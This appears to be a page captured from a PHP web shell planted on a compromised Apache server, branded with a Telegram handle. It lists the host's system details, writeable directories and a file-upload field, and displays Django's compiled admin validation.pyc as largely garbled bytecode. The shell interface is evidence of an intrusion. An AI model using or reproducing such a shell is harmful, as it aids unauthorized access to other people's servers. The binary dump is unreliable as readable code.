https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /usr/lib64/python2.7/site-packages/django/contrib/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/lib64/python2.7/site-packages/django/contrib/admin/validation.pyc
�
r�\c@s�ddlmZddlmZddlmZddlmZmZm	Z	ddl
mZmZddgZ
defd��YZd	efd
��YZdefd��YZd�Zd
�Zd�Zd�Zd�ZdS(i����(tImproperlyConfigured(tmodels(tFieldDoesNotExist(t
BaseModelFormtBaseModelFormSett_get_foreign_key(tget_fields_from_pathtNotRelationFieldt
BaseValidatortInlineValidatorcBs�eZd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
�Zd�Z
d�Zd
�ZRS(cCstj�dS(N(Rtget_apps(tself((sA/tmp/pip-install-XxeQeY/django/django/contrib/admin/validation.pyt__init__scCsCx<t|�D].}|jd�r
t||�||�q
q
WdS(Nt	validate_(tdirt
startswithtgetattr(Rtclstmodeltm((sA/tmp/pip-install-XxeQeY/django/django/contrib/admin/validation.pytvalidatesc	Cs�x�|D]�}t|�tkr+|f}nx�|D]�}||jkrMq2ny|jj|�}Wntjk
r|q2nXt|tj�r2|j	j
jjr2td|j
|||f��q2q2WqWdS(s4
        Validate the fields specification in `flds` from a ModelAdmin subclass
        `cls` for the `model` model. Use `label` for reporting problems to the user.

        The fields specification can be a ``fields`` option or a ``fields``
        sub-option from a ``fieldsets`` option component.
        sg'%s.%s' can't include the ManyToManyField field '%s' because '%s' manually specifies a 'through' model.N(ttypettupletreadonly_fieldst_metat	get_fieldRRt
isinstancetManyToManyFieldtreltthroughtauto_createdRt__name__(RRRtfldstlabeltfieldstfieldtf((sA/tmp/pip-install-XxeQeY/django/django/contrib/admin/validation.pytcheck_field_specs

%cCs�t|d�r�t|d|j�xot|j�D][\}}t||d|�}t|tjtjf�s2t	d|j
||f��q2q2WndS(sU Validate that raw_id_fields only contains field names that are listed on the model. t
raw_id_fieldssL'%s.raw_id_fields[%d]', '%s' must be either a ForeignKey or ManyToManyField.N(thasattrtcheck_isseqR&t	enumerateRRRt
ForeignKeyRRR(RRRtidxR#R$((sA/tmp/pip-install-XxeQeY/django/django/contrib/admin/validation.pytvalidate_raw_id_fields;scCs�|jr�t|d|j�|j|||jd�|jrTtd|j��nt|j�tt|j��kr�td|j��q�ndS(sQ Validate that fields only refer to existing fields, doesn't contain duplicates. R"s.Both fieldsets and fields are specified in %s.s)There are duplicate field(s) in %s.fieldsN(R"R(R%t	fieldsetsRRtlentset(RRR((sA/tmp/pip-install-XxeQeY/django/django/contrib/admin/validation.pytvalidate_fieldsFs		$cCs>ddlm}|jr:t|d|j�x�t|j�D]�\}}t|d||�t|�dkr�td|j|f��nt|d||d�d	|dkr�td
|j|f��n|j	|||dd	d|�q<W||j�}t|�tt
|��kr:td|j��q:nd
S(sO Validate that fieldsets is properly formatted and doesn't contain duplicates. i����(tflatten_fieldsetsR-s
fieldsets[%d]is6'%s.fieldsets[%d]' does not have exactly two elements.sfieldsets[%d][1]iR"sC'fields' key is required in %s.fieldsets[%d][1] field options dict.sfieldsets[%d][1]['fields']s,There are duplicate field(s) in %s.fieldsetsN(tdjango.contrib.admin.optionsR1R-R(R)R.RRtcheck_isdictR%R/(RRRR1R+tfieldsettflattened_fieldsets((sA/tmp/pip-install-XxeQeY/django/django/contrib/admin/validation.pytvalidate_fieldsetsQs 	&cCs]|jrYt|d|j�t|j�tt|j��krYtd|j��qYndS(s9 Validate that exclude is a sequence without duplicates. texcludes*There are duplicate field(s) in %s.excludeN(R7R(R.R/RR(RRR((sA/tmp/pip-install-XxeQeY/django/django/contrib/admin/validation.pytvalidate_excludees	$cCs<t|d�r8t|jt�r8td|j��ndS(s. Validate that form subclasses BaseModelForm. tforms,%s.form does not inherit from BaseModelForm.N(R't
issubclassR9RRR(RRR((sA/tmp/pip-install-XxeQeY/django/django/contrib/admin/validation.pyt
validate_formls"cCs�t|d�r�t|d|j�xct|j�D]O\}}t||d|�}t|tj�s2td|j	|f��q2q2WndS(s= Validate that filter_vertical is a sequence of field names. tfilter_verticals3'%s.filter_vertical[%d]' must be a ManyToManyField.N(
R'R(R<R)RRRRRR(RRRR+R#R$((sA/tmp/pip-install-XxeQeY/django/django/contrib/admin/validation.pytvalidate_filter_verticalrscCs�t|d�r�t|d|j�xct|j�D]O\}}t||d|�}t|tj�s2td|j	|f��q2q2WndS(s? Validate that filter_horizontal is a sequence of field names. tfilter_horizontals5'%s.filter_horizontal[%d]' must be a ManyToManyField.N(
R'R(R>R)RRRRRR(RRRR+R#R$((sA/tmp/pip-install-XxeQeY/django/django/contrib/admin/validation.pytvalidate_filter_horizontal|scCs�ddlm}m}t|d�r�t|d|j�x�|jj�D]�\}}t||d|�}t|t	j
�p�|js�td|j
|f��n|||fkrHtd|j
|f��qHqHWndS(sM Validate that radio_fields is a dictionary of choice or foreign key fields. i����(t
HORIZONTALtVERTICALtradio_fieldssW'%s.radio_fields['%s']' is neither an instance of ForeignKey nor does have choices set.sG'%s.radio_fields['%s']' is neither admin.HORIZONTAL nor admin.VERTICAL.N(R2R@RAR'R3RBtitemsRRRR*tchoicesRR(RRRR@RAR#tvalR$((sA/tmp/pip-install-XxeQeY/django/django/contrib/admin/validation.pytvalidate_radio_fields�scCs�t|d�r�t|d|j�x�|jj�D]�\}}t||d|�}t|tjtjtj	f�r�t
d|j|f��nt|d||�x7t
|�D])\}}t||d||f|�q�Wq2WndS(sT Validate that prepopulated_fields if a dictionary  containing allowed field types. tprepopulated_fieldssl'%s.prepopulated_fields['%s']' is either a DateTimeField, ForeignKey or ManyToManyField. This isn't allowed.sprepopulated_fields['%s']sprepopulated_fields['%s'][%d]N(R'R3RGRCRRRt
DateTimeFieldR*RRRR(R)(RRRR#RER$R+((sA/tmp/pip-install-XxeQeY/django/django/contrib/admin/validation.pytvalidate_prepopulated_fields�scCs�|jr�t|d|j�x�t|j�D]�\}}|dkrot|j�dkrotd|j��n|dkr�q,n|jd�r�|d}nd|kr�q,nt||d||�q,WndS(	s@ Validate that ordering refers to existing fields or is random. torderingt?is�'%s.ordering' has the random ordering marker '?', but contains other fields as well. Please either remove '?' or the other fields.t-t__sordering[%d]N(RJR(R)R.RRRR(RRRR+R#((sA/tmp/pip-install-XxeQeY/django/django/contrib/admin/validation.pytvalidate_ordering�s	!
cCs�t|d�r�t|d|j�x�t|j�D]�\}}t|�s2t||�s�t||�s�y|jj|�Wq�tjk
r�t	d|j
|||j
|jjf��q�Xq�q�q2q2WndS(sD Validate that readonly_fields refers to proper attribute or field. Rs\%s.readonly_fields[%d], %r is not a callable or an attribute of %r or found in the model %r.N(R'R(RR)tcallableRRRRRRtobject_name(RRRR+R#((sA/tmp/pip-install-XxeQeY/django/django/contrib/admin/validation.pytvalidate_readonly_fields�s(Rt
__module__RRR%R,R0R6R8R;R=R?RFRIRNRQ(((sA/tmp/pip-install-XxeQeY/django/django/contrib/admin/validation.pyRs			 						
	
			tModelAdminValidatorcBs}eZd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
�Zd�Z
d�ZRS(
cCst|dt�dS(s  Validate save_as is a boolean. tsave_asN(t
check_typetbool(RRR((sA/tmp/pip-install-XxeQeY/django/django/contrib/admin/validation.pytvalidate_save_as�scCst|dt�dS(s$ Validate save_on_top is a boolean. tsave_on_topN(RURV(RRR((sA/tmp/pip-install-XxeQeY/django/django/contrib/admin/validation.pytvalidate_save_on_top�scCs�ddlm}t|d�r�t|d|j�x�t|j�D]�\}}t||�sytd|j|f��n|j	s�td|j|f��nt|j	t
j�s�td|j|f��n|j|j	�|j
||�qBWndS(s& Validate inline model admin classes. i����(tBaseModelAdmintinliness6'%s.inlines[%d]' does not inherit from BaseModelAdmin.s4'model' is a required attribute of '%s.inlines[%d]'.s:'%s.inlines[%d].model' does not inherit from models.Model.N(R2RZR'R(R[R)R:RRRRtModelRtcheck_inline(RRRRZR+tinline((sA/tmp/pip-install-XxeQeY/django/django/contrib/admin/validation.pytvalidate_inlines�s	cCs�t||jd|jdt�}t|d�r�|jr�|r�|j|jkr�td|j|j|j	j
|jf��q�ndS(s3 Validate inline class's fk field is not excluded. tfk_nametcan_failR7sU%s cannot exclude the field '%s' - this is the foreign key to the parent model %s.%s.N(RRR`tTrueR'R7tnameRRRt	app_label(RRtparent_modeltfk((sA/tmp/pip-install-XxeQeY/django/django/contrib/admin/validation.pyR]�s
!cCst|d�rt|d|j�x�t|j�D]�\}}t|�s2t||�st||�s�y|jj|�Wqtjk
r�t	d|j
|||j
|jjf��qXqt||d||�}t
|tj�rt	d|j
||f��qqq2q2WndS(sG Validate that list_display only contains fields or usable attributes. tlist_displaysY%s.list_display[%d], %r is not a callable or an attribute of %r or found in the model %r.slist_display[%d]sH'%s.list_display[%d]', '%s' is a ManyToManyField which is not supported.N(R'R(RgR)RORRRRRRRPt
fetch_attrRR(RRRR+R#R$((sA/tmp/pip-install-XxeQeY/django/django/contrib/admin/validation.pytvalidate_list_display�s,cCswt|d�rst|d|j�xNt|j�D]:\}}||jkr2td|j||f��q2q2WndS(sF Validate that list_display_links is a unique subset of list_display. tlist_display_linkssR'%s.list_display_links[%d]' refers to '%s' which is not defined in 'list_display'.N(R'R(RjR)RgRR(RRRR+R#((sA/tmp/pip-install-XxeQeY/django/django/contrib/admin/validation.pytvalidate_list_display_linkssc	Cs�ddlm}m}t|d�r�t|d|j�xFt|j�D]2\}}t|�r�t|t	j
�r�t||�s�td|j
||j
f��nt||�rztd|j
||j
f��qzqHt|ttf�r-|\}}t||�s3td|j
||j
f��q3n|}yt||�WqHttfk
rytd|j
||f��qHXqHWndS(	s<
        Validate that list_filter is a sequence of one of three options:
            1: 'field' - a basic field filter, possibly w/ relationships (eg, 'field__rel')
            2: ('field', SomeFieldListFilter) - a field-based list filter class
            3: SomeListFilter - a non-field list filter class
        i����(t
ListFiltertFieldListFiltertlist_filtersE'%s.list_filter[%d]' is '%s' which is not a descendant of ListFilter.sf'%s.list_filter[%d]' is '%s' which is of type FieldListFilter but is not associated with a field name.sE'%s.list_filter[%d][1]' is '%s' which is not of type FieldListFilter.sD'%s.list_filter[%d]' refers to '%s' which does not refer to a Field.N(tdjango.contrib.adminRlRmR'R(RnR)RORRtFieldR:RRRtlistRRR(	RRRRlRmR+titemR#tlist_filter_class((sA/tmp/pip-install-XxeQeY/django/django/contrib/admin/validation.pytvalidate_list_filter
s,cCsSt|dd�}|rOtttf}t||�sOtd|j��qOndS(sD Validate that list_select_related is a boolean, a list or a tuple. tlist_select_relatedsC'%s.list_select_related' should be either a bool, a tuple or a listN(RtNoneRVRRqRRR(RRRRuttypes((sA/tmp/pip-install-XxeQeY/django/django/contrib/admin/validation.pytvalidate_list_select_related7scCst|dt�dS(s, Validate that list_per_page is an integer. t
list_per_pageN(RUtint(RRR((sA/tmp/pip-install-XxeQeY/django/django/contrib/admin/validation.pytvalidate_list_per_pageAscCst|dt�dS(s0 Validate that list_max_show_all is an integer. tlist_max_show_allN(RURz(RRR((sA/tmp/pip-install-XxeQeY/django/django/contrib/admin/validation.pytvalidate_list_max_show_allEsc	Cs{t|d�rw|jrwt|d|j�xIt|j�D]5\}}y|jj|�d}Wn?tjk
r�td|j	|||jj
|j	f��nX||jkr�td|j	||f��n||jkrtd||j	|j	f��n|jrH|jd|jkrHtd|j	||jdf��n|j
s;td|j	||f��q;q;WndS(	s
        Validate that list_editable is a sequence of editable fields from
        list_display without first element.
        t
list_editableisE'%s.list_editable[%d]' refers to a field, '%s', not defined on %s.%s.sM'%s.list_editable[%d]' refers to '%s' which is not defined in 'list_display'.sE'%s' cannot be in both '%s.list_editable' and '%s.list_display_links's}'%s.list_editable[%d]' refers to the first field in list_display, '%s', which can't be used unless list_display_links is set.sW'%s.list_editable[%d]' refers to a field, '%s', which isn't editable through the admin.N(R'R~R(R)Rtget_field_by_nameRRRRRdRgRjteditable(RRRR+t
field_nameR#((sA/tmp/pip-install-XxeQeY/django/django/contrib/admin/validation.pytvalidate_list_editableIs()  	cCs)t|d�r%t|d|j�ndS(s' Validate search_fields is a sequence. t
search_fieldsN(R'R(R�(RRR((sA/tmp/pip-install-XxeQeY/django/django/contrib/admin/validation.pytvalidate_search_fieldsiscCsY|jrUt||d|j�}t|tjtjf�sUtd|j��qUndS(sD Validate that date_hierarchy refers to DateField or DateTimeField. tdate_hierarchysI'%s.date_hierarchy is neither an instance of DateField nor DateTimeField.N(R�RRRt	DateFieldRHRR(RRRR$((sA/tmp/pip-install-XxeQeY/django/django/contrib/admin/validation.pytvalidate_date_hierarchyns
	(RRRRWRYR_R]RiRkRtRxR{R}R�R�R�(((sA/tmp/pip-install-XxeQeY/django/django/contrib/admin/validation.pyRS�s							
	*	
			 	cBs,eZd�Zd�Zd�Zd�ZRS(cCsP|jrLt||d|j�}t|tj�sLtd|j��qLndS(s/ Validate that fk_name refers to a ForeignKey. R`s4'%s.fk_name is not an instance of models.ForeignKey.N(R`RRRR*RR(RRRR$((sA/tmp/pip-install-XxeQeY/django/django/contrib/admin/validation.pytvalidate_fk_nameys
	cCst|dt�dS(s$ Validate that extra is an integer. textraN(RURz(RRR((sA/tmp/pip-install-XxeQeY/django/django/contrib/admin/validation.pytvalidate_extra�scCst|dt�dS(s& Validate that max_num is an integer. tmax_numN(RURz(RRR((sA/tmp/pip-install-XxeQeY/django/django/contrib/admin/validation.pytvalidate_max_num�scCs<t|d�r8t|jt�r8td|j��ndS(s5 Validate formset is a subclass of BaseModelFormSet. tformsets4'%s.formset' does not inherit from BaseModelFormSet.N(R'R:R�RRR(RRR((sA/tmp/pip-install-XxeQeY/django/django/contrib/admin/validation.pytvalidate_formset�s"(RRRR�R�R�R�(((sA/tmp/pip-install-XxeQeY/django/django/contrib/admin/validation.pyR	xs			cCsWt||d�dk	rStt||�|�rStd|j||jf��ndS(Ns'%s.%s' should be a %s.(RRvRRR(Rtattrttype_((sA/tmp/pip-install-XxeQeY/django/django/contrib/admin/validation.pyRU�s1cCs5t|ttf�s1td|j|f��ndS(Ns '%s.%s' must be a list or tuple.(RRqRRR(RR!tobj((sA/tmp/pip-install-XxeQeY/django/django/contrib/admin/validation.pyR(�scCs/t|t�s+td|j|f��ndS(Ns'%s.%s' must be a dictionary.(RtdictRR(RR!R�((sA/tmp/pip-install-XxeQeY/django/django/contrib/admin/validation.pyR3�scCsZy|jj|�SWn?tjk
rUtd|j|||jj|jf��nXdS(Ns@'%s.%s' refers to field '%s' that is missing from model '%s.%s'.(RRRRRRRd(RRR!R#((sA/tmp/pip-install-XxeQeY/django/django/contrib/admin/validation.pyR�s
cCsy|jj|�SWntjk
r*nXyt||�SWn<tk
rztd|j|||jj|jf��nXdS(NsT'%s.%s' refers to '%s' that is neither a field, method or property of model '%s.%s'.(	RRRRRtAttributeErrorRRRd(RRR!R#((sA/tmp/pip-install-XxeQeY/django/django/contrib/admin/validation.pyRh�s
N(tdjango.core.exceptionsRt	django.dbRtdjango.db.models.fieldsRtdjango.forms.modelsRRRtdjango.contrib.admin.utilRRt__all__tobjectRRSR	RUR(R3RRh(((sA/tmp/pip-install-XxeQeY/django/django/contrib/admin/validation.pyt<module>s��				

https://t.me/AnonymousX5 - 2025